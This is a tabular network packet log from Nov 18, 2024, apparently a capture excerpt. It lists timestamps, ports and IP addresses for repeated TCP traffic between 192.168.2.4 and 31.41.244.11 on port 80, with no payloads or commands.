Nov 18, 2024 23:04:16.068787098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068797112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068824053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068833113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068875074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068877935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068912029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068932056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068947077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068962097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068981886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068993092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069017887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069031000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069052935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069067955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069087029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069098949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069124937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069142103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069163084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069174051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069195986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069212914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069231987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069241047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069267988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069281101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069317102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069320917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069370985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069371939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069406986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069421053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069447041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069458961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069483995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069498062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069518089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069534063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069554090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069581985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069602013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069616079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069643021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069648981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069690943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069713116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069746017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069760084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069781065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069788933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069817066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069824934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069849968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069854021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069885015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069894075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069920063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069950104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069953918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.069963932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.069988966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070004940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070023060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070055962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070063114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070080042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070099115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070118904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070132017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070152044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070168018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070225000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070265055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070297956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070316076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070333004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070343971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070368052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070385933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070401907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070430994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070436001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070447922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070470095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070483923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070516109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070523024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070557117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070581913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070589066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070621014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070622921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070651054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070655107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070683956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070707083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070710897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070743084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070765018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070777893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070808887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070815086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070832968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070848942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070873976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070883989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070909023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070915937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070930004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070949078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.070967913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.070982933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071005106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071014881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071038008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071047068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071080923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071100950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071121931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071132898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071147919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071166039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071188927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071199894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071202993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071233988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071258068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071265936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071280956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071300030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071351051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071357012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071357965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071384907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071408033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071418047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071439981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071453094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071475983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071501017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071506023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071540117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071571112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071573973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071597099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071626902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071628094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071660995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071683884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071710110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071715117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071764946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071772099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071799040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071820974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071832895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071856976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071866989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071881056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071898937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071919918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071933031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071955919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071965933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.071986914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.071997881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072012901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072031975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072053909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072065115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072089911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072093964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072118044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072127104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072149992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072170973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072175026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072204113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072225094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072237968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072261095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072269917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072304964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072319984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072351933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072357893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072380066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072391033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072408915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072429895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072447062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072463989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072493076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072495937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072514057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072530031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072541952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072563887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072587967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072596073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072611094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072628975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072663069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072663069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072698116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072731018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072731018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072760105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072760105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072765112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072791100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072818995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072819948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072851896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072879076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072885990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072902918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072917938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.072941065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072964907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.072968960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073002100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073026896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073035002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073056936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073069096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073081017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073102951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073131084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073137999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073163033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073172092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073194027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073205948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073227882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073240042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073251963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073275089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073298931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073308945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073323965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073342085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073364973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073375940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073388100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073409081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073436022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073462009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073462009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073491096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073518991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073524952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073546886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073559046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073575020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073592901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073611975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073626995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073647976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073662996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073673010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073698044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073719978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073730946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073759079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.073765039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.073785067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.077055931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111259937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111362934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111366987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111418962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111423969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111462116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111474037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111499071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111505032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111537933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111550093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111574888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111592054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111609936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111615896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111645937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111665964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111694098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111696005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111738920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111746073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111795902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111802101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111835957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111846924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111871004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111886978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111906052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111918926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111941099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111951113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.111977100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.111987114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.112016916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.112020969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.112052917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.112071037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.112086058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.112092018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.112122059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.112138987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.112168074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.116087914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.116122961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.116149902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.116158009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.116173029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.116215944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.116419077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.116452932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.116470098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.116487026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.116502047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.116528988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140125036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140167952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140187025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140192032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140206099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140229940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140295982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140312910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140328884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140345097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140361071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140398979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140443087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140458107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140475035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140490055 CET	49794	80	192.168.2.4	31.41.244.11
